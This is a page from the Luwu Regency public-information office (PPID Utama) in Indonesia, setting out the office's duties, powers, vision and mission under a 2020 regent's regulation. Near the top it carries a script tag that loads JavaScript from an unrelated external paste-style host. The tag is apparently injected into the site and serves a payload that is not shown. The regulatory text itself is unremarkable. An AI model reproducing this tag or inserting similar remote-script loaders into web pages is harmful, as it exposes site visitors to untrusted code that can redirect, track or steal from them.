Informasi
<script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/7WUSWO8XTMVV3"></script>
TUGAS DAN WEWENANG
Berdasarkan Peraturan Bupati Luwu Nomor 123 Tahun 2020 tentang Pedoman Pengelolaan Pelayanan Informasi Publik di Lingkungan Pemerintah Kabupaten Luwu, PPID Utama memiliki tugas antara lain :
a. menyusun dan melaksanakan kebijakan informasi dan dokumentasi;
b. mengoordinasikan pengumpulan bahan informasi dan dokumentasi dari PPID Pembantu/Pelaksana dan/atau pejabat/tenaga fungsional;
c. melakukan verifikasi dan mengesahkan daftar informasi publik yang layak untuk dipublikasikan;
d. melakukan uji konsekuensi atas informasi yang dikecualikan;
e. menyediakan daftar informasi publik untuk diakses oleh masyarakat;
f. melakukan pembinaan, pengawasan, monitoring dan evaluasi atas pelaksanaan kebijakan informasi dan dokumentasi yang dilakukan oleh PPID Pembantu/Pelaksana;
g. melaksanakan rapat koordinasi dan rapat kerja secara berkala dan/atau sesuai dengan kebutuhan;
h. menugaskan PPID Pembantu/Pelaksana dan/atau pejabat/tenaga fungsional untuk mengumpulkan, mengelola serta memelihara informasi dan dokumentasi; dan
i. membentuk tim fasilitasi penanganan sengketa informasi untuk memfasilitasi penanganan sengketa informasi yang ditetapkan melalui Keputusan Bupati atau Atasan PPID.
Dalam pelaksanaan tugasnya, PPID Utama berwenang :
a. menolak memberikan informasi yang dikecualikan sesuai dengan ketentuan perundang-undangan;
b. meminta dan memperoleh daftar informasi dari OPD/satuan kerja/ unit kerja yang menjadi cakupan kerjanya;
c. mengoordinasikan pemberian layanan informasi dengan PPID Pembantu/Pelaksana dan/atau pejabat/tenaga fungsional yang menjadi cakupan kerjanya;
d. menentukan atau menetapkan suatu informasi dapat/tidaknya diakses oleh publik; dan
e. menugaskan PPID Pembantu/Pelaksana dan/atau pejabat/tenaga fungsional untuk membuat, mengumpulkan, serta memelihara informasi dan dokumentasi untuk kebutuhan organisasi dan kepentingan layanan informasi publik.
VISI
“MEWUJUDKAN PELAYANAN INFORMASI PUBLIK YANG BERKUALITAS”
MISI
1. Memberikan kemudahan akses layanan informasi ;publik;
2. Memberikan kepastian dalam proses layanan informasi publik;
3. Mengembangkan dan mengintegrasikan sistem layanan informasi publik.